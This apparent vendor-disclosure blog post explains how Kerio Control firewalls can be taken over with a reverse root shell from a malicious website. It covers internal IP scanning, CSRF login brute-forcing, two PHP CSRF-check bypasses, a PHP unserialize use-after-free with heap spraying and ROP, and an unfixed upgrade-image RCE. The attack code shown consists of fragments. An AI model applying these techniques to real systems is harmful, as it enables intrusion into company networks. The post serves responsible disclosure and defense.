The first attack vector heavily abuses two PHP scripts, both scripts are not referenced by any other file in Kerio Control and contain two different(!) seemingly deliberate(?) CSRF check bypasses. These two scripts contain multiple vulnerabilities which attackers need for establishing reverse root shells into company networks: Remote code execution with root privileges, CSRF check bypasses (makes it exploitable from the Internet), XSS (could be used to defeat SOP), vulnerable code exploitable for heap spraying (to defeat ASLR). Moreover, one additional script can be used to defeat ASLR which leaks heap and stack pointers.

The second attack vector doesn’t use a memory corruption vulnerability, instead we use a publicly known vulnerability in Kerio Control which has not been fixed in the past 12 months (reported by Raschin Tavakoli, now employee at SEC Consult). The full exploit is publicly available on exploit-db (https://www.exploit-db.com/exploits/38450/), only the used XSS (cross site scripting) vulnerability was fixed. To demonstrate that the issue still exists we searched for two other XSS vulnerabilities to turn the XSS vulnerabilities again to a remotely exploitable reverse root shell. However, this attack has the pre-condition that the attacked victim is currently logged in as administrator (or that we can obtain administrator credentials via the brute-force attack). Kerio’s response to this reported vulnerability (and to the vulnerability that the webserver is running with root privileges) was: "I [they] do not consider this a vulnerability". It will therefore not be fixed by Kerio.

We have just discovered another XSS 0-day vulnerability which can again be used to obtain a reverse root shell on the most current Kerio Control system (version 9.1.3 build 1408). We have contacted the vendor again regarding this issue.

It’s also important to note, that the first attack scenario was not fixed by updating the 6-year-old PHP binary, instead only the problem of unserialize was fixed superficially. Kerio Control still uses PHP version 5.2.13.

Demonstration Video

Remote Identification of Kerio Control Systems

This step itself is not based on a vulnerability, however, it is a mandatory step during the overall attack. First, the attacker tricks a victim (from the internal network of the attacked company) to visit his malicious website. The website then performs the complete attack. For this the website must know the internal IP address of Kerio Control. Therefore, the first action is to somehow identify and obtain this IP address.

This can easily be done by adding images on the website which point to an image stored on Kerio Control. The perfect target for this is the logo stored at <KerioIP>:4081/nonauth/gfx/kerio_logo.gif. The attacker can add JavaScript event listeners for onload and onerror on his evil website to detect if the image was loaded or not. If the image was loaded, the attacker knows that the scanned IP address hosts Kerio Control. 
A simple JavaScript scan script is shown below:
for (i = 1; i < 255; i++) {
   ip_to_check = “192.168.20.” + i.toString();
   my_image = document.createElement("img");
   my_image.src = "https://" + ip_to_check + 
   my_image.onerror=kerio_not_alive;     // callback
   my_image.onload=kerio_alive;          // callback

For such an attack the attacker must know the internal IP range. This information can be obtained via different techniques (e.g. WebRTC leak, e-mail headers, misconfigured DNS server, information disclosure vulnerabilities on the website, social engineering) or can just be brute-forced (but this would add an additional delay to the overall attack).

Session Verification

For the first attack scenario at least a session as standard user is required (the second attack scenario requires that the victim is an administrator). The reason for this is that the vulnerability resides in code which can only be executed by authenticated users. Three situations can occur:

  1. The attacked victim is currently logged in as standard user (low privileges).
  2. The attacked victim is currently logged in as administrator (high privileges).
  3. The attacked victim is currently not logged in (no session).

Situation one and two are perfectly valid and can be used to obtain a reverse shell. Situation three is a problem because a valid session is mandatory for the attack. In such a case the attacker can start a remote brute-force attack via CSRF to identify weak credentials. This is even possible if no ports are open from the Internet because the complete attack is conducted via the web browser of the victim and the victim is connected to the internal network.

For such a brute-force attack the attacker needs a way to identify if the last tested credentials are valid or not. This is typically not possible because the attacker can’t read the response of a request which was sent to another domain / internal IP address (because of SOP – Same-Origin-Policy). For example, the attacker can send a valid login request to Kerio Control (because the login is not protected against CSRF), however, he can’t read the response and therefore doesn’t know if the credentials were valid or not.

One solution is to just assume that the credentials are valid and continue the exploit. If the exploit works, the credentials were valid. However, with this approach the complete attack would take too long and the victim may close the website before the attack finished.

A better solution is to use a side channel which bypasses SOP, namely image loading combined with JavaScript event handlers. This is possible because the URL to the user image only returns a valid image if the user is logged in. That means that the attacker can send a login request and after that embed an image pointing to <KerioIP>:4081/internal/photo with JavaScript event handlers installed for onload and onerror. If the onerror event handler triggers, the credentials were wrong, if the onload event handler triggers, the credentials were valid.

The following HTML code demonstrates this:

<img src="https://<Kerio-IP>:4081/internal/photo" onerror=not_logged_in(); onload=logged_in();></img>

Attack Vector One - Bypass of CSRF Protections

The next step is to trigger the vulnerabilities within Kerio Control. For this two vulnerable scripts on the system will be exploited. The first script sets the unserialize input (we are going to abuse the PHP unserialize function) and the second script actually invokes unserialize on the malicious input. Both scripts are stored inside the authenticated area which means that the scripts are protected by a CSRF protection. The CSRF protection should ensure that a remote attacker can’t force an action in the context of the attacked user session. In the case of the login request it was trivial because the login was just not protected by a CSRF protection.

In the case of the two scripts the CSRF protections must be bypassed, but it turns out, that this is trivial as well. The most common method is to use a XSS vulnerability, but for the first attack vector we will use another technique (the XSS technique will be described when discussing the second attack vector). Now we are going to directly exploit the vulnerable PHP code of Kerio Control.

The following PHP code can be found in the first vulnerable script:

1: $p_session->getCsrfToken(&$p_securityHash);
2: $p_postedHash = $_GET['k_securityHash'] || $_POST['k_securityHash'];
3: if ('' == $p_postedHash || ($p_postedHash != $p_securityHash)) {
4: exit();
5: }

The problem with the above code is, that the code is PHP code. Luckily for us, sadly for the programmer, the code is not JavaScript code which means that it has a completely different behavior than the programmer may have intended (except if it was deliberately backdoored). At line 2 the programmer wants to get either the GET or POST parameter k_securityHash, but || is a logical operator in PHP. The result is therefore either the boolean value true or false. At line 3 the programmer compares this result against the correct security hash (p_securityHash). The comparison is done by != , however, in PHP the operator != applies type juggling first (loose comparison). Correct would be a strict comparison via !==.

If we set k_securityHash to any value (either in GET or POST), we compare the boolean value true with a string. PHP will then interpret the string as boolean which is always true and then conclude that true equals true which means the check will always be bypassed if we set k_securityHash to any value.

So the first CSRF protection bypass was trivial. Let’s now focus on the CSRF protection in the second script:

1: $p_session->getCsrfToken(&$p_securityHash);
2: $p_hash = $_GET['k_securityHash'];
3: ...
4: if (!$p_session || ('' == $p_hash && $p_hash != $p_securityHash)) {
5: $p_page = new p_Page();
6: $p_page->p_jsCode('window.top.location = "index.php";');
7: $p_page->p_showPageCode();
8: die(); 

9: }

Now line 2 doesn’t contain the problem with the logical operator, however, line 4 contains the problem with loose comparison again. But there is also another detail, which differs…

The first code used || as a condition link, whereas this time the code uses &&. The condition can only become true if $p_hash (the GET parameter) is empty and the GET hash does not equal the correct hash. That means that it’s again enough to set k_securityHash to any value because then $p_hash is not empty.

Both CSRF check bypasses make the exploit working from the Internet to obtain reverse shells into the attacked company network.

Attack Vector One - The Exploitation

During analysis of Kerio Control we identified that Kerio uses a 6-year-old PHP binary (version 5.2.13). This version contains a countless number of publicly known vulnerabilities, including many memory corruptions leading to full code execution. To demonstrate the issue, we picked a commonly attacked PHP function – unserialize – to exploit Kerio Control. Unserialize can be called on user control input, however, the code is only available in the authenticated area (therefore the session verification step is required).

To exploit the function, we used CVE-2014-3515. The flaw exists because unserialize parses fields from the input, stores references to these fields, but doesn’t increase the reference count of these fields. As soon as the reference count from a field (or better a ZVAL, the internal data structure used to describe all kind of variables in PHP like integers, strings, objects or arrays) becomes zero, the ZVAL gets freed. Nearly all memory corruptions in unserialize work like this, only the method to decrement the reference count to zero (free the data) changes. In CVE-2014-3515 SplObjectStorage objects are used for this. When unserializing a SplObjectStorage object, a specific code path can be taken, which frees fields from the SplObjectStorage. However, the unserialize code added references to these fields (without incrementing the reference counter) and can therefore be used to access the freed data (the references became dangling pointers).

Let’s see this in action:

The code tells PHP to parse a custom object (C), the name of the class is 16-characters long (SplObjectStorage) and the data between the { and } is 49 characters long. “x:i:3” tells PHP that three elements will follow which must be attached to SplObjectStorage (This is custom unserialize-code related to SplObjectStorage. The code which parses these fields is important during exploitation, we call it in this blog post “attach code”). “m:a:1” tells PHP that the object has one member variable, a string of length one named y (s:1:”y”) with the value “i:111”. The first character always tells PHP the type (e.g. s for string, i for integer, C for custom object, and so on), so “i:111” is an integer with the value 111.

The output of the above code:

 As suspected the number 111 gets displayed. Let’s modify the code to use references:

Now R:1 is used instead of i:111 which means that the value of y is now a reference pointing to the entry with index 1 (the integer with value 777):

Until now everything works as expected. If we want to get the value 888 we have to update the reference to R:2, for 999 the reference R:3 must be used. But what happens if we use two times the same value?

Consider the following code:

What will now be printed (the second value changed from 888 to 777)? R:1 should still reference the first 777, but the code leads to the following output:

The problem is that the three values (from the “attach code” which are described by x:i:3) are added to a hash table. That means that a hash is calculated for every value and based on this hash the value gets inserted into the table. The values 777, 888 and 999 result in three different hashes and therefore all three values are stored in the table. However, if we store 777 two times, the second insertion will result in the same hash, the code then removes the first entry (with the same hash) from the table, frees the data and inserts the second data. That means that the ZVAL for the first 777 will be freed, however, there is still a reference (dangling pointer) to the ZVAL which can be accessed by the referencing code (R:1). After that PHP parses i:999 which will allocate the ZVAL of 999 over the freed memory address, therefore R:1 points to 999 (as well as R:3 would point to 999).

The problem is that the “attach code” should only process objects and no other types (and that a reference is added and the reference counter isn’t increased, but this is a problem for all PHP unserialize vulnerabilities). So typically it should not be allowed to add integers like we are doing with 777, 888 and 999. The associated code interprets these integers as objects (without checking the type) which exactly allows a collision of the hash. Here we are exploiting a type-confusion vulnerability to trigger a use-after-free bug.

We still have a problem with the above code. It only frees the ZVAL (=16 bytes of data describing the variable). We want to fully control this ZVAL, but for this the data is too small (if we for example allocate a string later, the string content will not be allocated over the freed data, instead the ZVAL of the string will be allocated over it). That means we have to free a variable which consumes more size than an integer. For this we have two possibilities: An array with additional elements or an object with member variables.

In both cases we have to add a second element with the same hash value. In the case of the array this leads to a problem because the “array-value” (source of the hash calculation) is a pointer to the heap and this pointer is randomized by ASLR (address space layout randomization). 

So the logical solution is to use objects instead. The hash of an object is calculated based on the object handle (a number incremented per object) and the object handler (a pointer to function pointers of the object). 

A first (not working) approach would be the following:

Now two objects of type “Beta” are used (currently without member variables), but the output shows that the use-after-free vulnerability isn’t triggered:

The reason is that the first Beta object has a different handle (handle 2) than the second Beta object (handle 3). It’s also possible to see this in the above output, SplObjectStorage has handle 1 (check the #1 in the output) and the referenced Beta object has handle 2 (#2 in the output). This is exactly how it should work. The code should only parse objects and every object has a different handle, therefore a hash collision should not be possible.

However, as described above, the PHP code contains a type confusion vulnerability which means that we can also add other types (integers, double values, strings, …) which will be interpreted as object and inserted into the hash table.

Let’s consider the following code:

The above code first adds an object of type stdClass and then the double value 8.784.... The double value was exactly chosen to result in the same hash as the stdClass and can therefore be used to free the stdClass object (A double value can be stored in eight bytes, the first four bytes will be interpreted as the object handle, the second four bytes will be interpreted as the “object handlers” pointer in the type confusion vulnerability). The output demonstrates that the memory of the stdClass object was freed:

We use the type confusion vulnerability to interpret the double value as object to make a hash collision to free the object to trigger a use-after-free vulnerability. The exact double value which is required for the collision depends on the PHP binary (more precise on the location of the “object handlers” pointer). Typically, this location is randomized by ASLR because PHP is loaded as library (e.g. in Apache). However, in the case of Kerio Control the code was statically compiled into the winroute binary (the main binary of Kerio Control containing the webserver, PHP, the firewall, and so on) and the binary was not compiled as PIE (position-independent-executable). Therefore, the hash is always the same because the “object handlers” are always stored at the same location.

Another problem with winroute is that stacks are marked as executable. This can be abused during exploitation (we didn’t used this flaw because the locations of the stacks are randomized by ASLR, but in combination with the identified stack pointer leakage it would be another solution for the exploit, however, with the additional dependency of a XSS vulnerability to read the stack pointer).

The next step is to control the content of the ZVAL. For demonstration we changed the ZVAL type to a string (type 6) and let the string point to the image base of PHP where the ELF-magic value is stored:

Now the stdClass object contains some fields (to increase the size of the freed data), the double value frees the object (as well as all member variables) and later we allocate a string of length 15. Length 15 is mandatory because PHP will add one to the length (null termination) resulting in an allocation of 16 bytes – exactly the size of a ZVAL. The reference was changed from R:1 to R:3 to point to one of the (freed) member variables from the stdClass object (R:1 would just point to the ZVAL of the 15-bytes string).

The content of the string now describes the referenced ZVAL, the last bytes specify the type (0x06 = string), the first DWORD (0x08048001) is the base address of the string, the second DWORD is the length of the string (0x03), the third DWORD is the reference counter which is in this case 0x01.

The following figure shows that the attack works as expected (the ELF-magic value gets dumped):

This vulnerability can be used to read the complete memory space and therefore to bypass ASLR. However, in the case of Kerio Control the result of the unserialize function is not reflected back to the attacker (moreover, because of SOP we would not be able to read the output, an additional XSS vulnerability would be required for this).

The exploit must therefore be written fully blind (and a way to bypass ASLR is required). The code execution step is trivial; the data type must only be changed from string (0x06) to object (0x05) to control the object function pointers. 

The last missing step is to bypass ASLR. A solution would be to turn the vulnerability into a write4 vulnerability (that means that we get the possibility to write 4 chosen bytes to a chosen memory location). Then we can for example overwrite the base address or length field of a string or overwrite a function pointer to point to another location (e.g. change the function address of a function called on the unserialize output to var_dump() to reflect the output back to the attacker).

This can typically be done by changing the data type to an array, however, in the case of PHP it’s not trivial because arrays are not implemented as simple arrays, instead arrays are implemented via hash tables (including memory pointers which we don’t know because of ASLR). Another possibility is to carefully choose the unserialize data and implement the write4 via the later PHP code from the attacked PHP script. But all these techniques would require that we read the response and this is not possible because of SOP (without a XSS).

Moreover, we also found a pointer leak which can be used to obtain the base address of the stack and heap, but reading this pointer also requires a SOP bypass.

We therefore decided to just use heap spraying as a method to bypass ASLR because then the exploit works blind (SOP must not be bypassed). Heap spraying is not the most elegant way, it’s also not 100% reliable, however, during tests it worked 99% of time and even if we hit the 1% cave the server just restarts three seconds after the crash and we can exploit it again. For a simple PoC it’s enough to demonstrate the issue with heap spraying.

Luckily, the programmer left (in addition to the CSRF check bypasses) some other useful code for us. One of the two attacked scripts contains the following code:

1: $p_variable = urldecode($_POST['k_variable']);
2: $p_value = urldecode($_POST['k_value']);
3: …
4: $p_session->setSessionVariable($p_variable, $p_value);

We can set any session variable to any value. We can therefore set variable “x1” to an 8 MB (max file upload) payload, “x2” to the payload, “x3” to the payload and so on. That means we can use the code for heap spraying.

The last steps are straight forward:
  • We can spray two different areas (each 250 MB in size because the target device has 4 GB RAM) to the heap. Area one contains ROP (return-oriented-programming) code pointing to a stack-pointer-shifting gadget. This gadget shifts the stack pointer to area two (on the heap). In area two we add a ROP NOP (no-operation) sled followed by a ROP chain which calls mprotect to disable DEP (data execution protection). After that we execute our shellcode.
  • Change the data type of the ZVAL to object (0x05) and set the reference counter to zero. This will immediately invoke the free-function on the object. Since we can control the “object handlers” pointer we can let it point into area one. This will then shift the stack pointer into our ROP NOP sled in area two, then execute the ROP chain which calls mprotect and then executes our shellcode. The shellcode just spawns a reverse root shell on Kerio Control.
A video demonstrating the attack can be found at the beginning of the blog post.

Attack Vector Two

In addition to the described attack vector above a second method exists to spawn a reverse root shell. This attack vector has the pre-condition that the attacked user is logged in as administrator. The likelihood for a successful attack is therefore low, but this attack works without exploitation of a memory corruption vulnerability and is therefore simpler.

The administrative interface contains functionality to upload an upgrade image. No checks are performed on the uploaded file. The included bash script will just be executed with root privileges. This vulnerability was already reported and published by Raschin Tavakoli on 2015-10-12 and is still unfixed (more information can be found in the original advisory at https://www.exploit-db.com/exploits/38450/). Only the used XSS vulnerability was fixed by Kerio.

The upgrade functionality is protected by a CSRF check which is correctly implemented. A XSS vulnerability is therefore required to bypass the check. To demonstrate that the vulnerability still exists SEC Consult searched for two different XSS vulnerabilities to demonstrate the attack.

One of these XSS vulnerabilities can be found in one of the two scripts which was used during the first attack. With this reflected XSS vulnerability an administrator can be attacked to upload an upgrade image and then perform the upgrade. This executes the uploaded bash script with root privileges allowing to spawn a reverse root shell. The attack can also be conducted via a malicious website from the Internet.

Vendor Response

The vendor was contacted on 2016-08-29. On 2016-09-01 the vendor responded with a PGP key. The advisory was sent PGP encrypted to Kerio on 2016-09-01. On 2016-09-09 the vendor responded that most vulnerabilities will be fixed by 2016-09-20.

The command execution vulnerability in the administration interface (second attack vector) will not be fixed as well as the reported issue “webserver running with root privileges”. Kerio’s statement to these vulnerabilities was: "I [they] do not consider this a vulnerability".

The explanation of Kerio was that an attacker can also use the XSS vulnerability to change the administrator password, activate the SSH service and open the SSH port from the Internet. Therefore, the attacker doesn’t have to abuse the upgrade functionality to spawn a reverse root shell.

However, SEC Consult considers this itself a vulnerability. All this should not be possible with a simple XSS vulnerability. Actions like changing the administrator password or activation of SSH access from the Internet should require the input of the administrator password. Then it’s no longer possible to abuse a simple XSS vulnerability in such a heavy way. The same applies for the upgrade functionality which must be fixed by the vendor.

SEC Consult informed Kerio about this on 2016-09-09, however, Kerio kept their decision. Hence the command execution vulnerability remains unfixed. A simple XSS vulnerability can still be used to obtain a reverse root shell on Kerio Control. 

To demonstrate the issue one more time we have just discovered another XSS 0-day vulnerability which makes all of this exploitable again (in the most current version which is 9.1.3 build 1408). Of course we have notified the vendor on this issue through our responsible disclosure but it seems a more thorough approach to securing their products and raising the quality is needed.


Here are some lessons which can be learned from the attack:

For administrators:
  • Just because a system is in the internal network it doesn’t mean that weak credentials can be configured. During the above attack the attacker was able to brute-force the credentials from an internal system via CSRF from the Internet. Internal systems must also be secured by strong credentials, patches have to be applied timely and a layered approach (zone concept) should be used for accessing critical systems.
For vendors:
  • Vulnerabilities must be fixed in-depth. It’s not enough to fix a bug superficially, instead developers have to understand why a vulnerability occurs and identify the real reason behind it. For example, in PHP the real reason was that references were added without incrementing the reference counter. Instead, only the free code was patched for all kinds of unserialize bugs. In the case of Kerio Control, the real issue is a 6-year-old PHP binary, instead Kerio just fixed the unserialize vulnerability. Same applies for the RCE vulnerability which was not fixed, only the used XSS vulnerability was fixed. 

This research was conducted by René Freingruber and Raschin Tavakoli, Security Consultants at SEC Consult.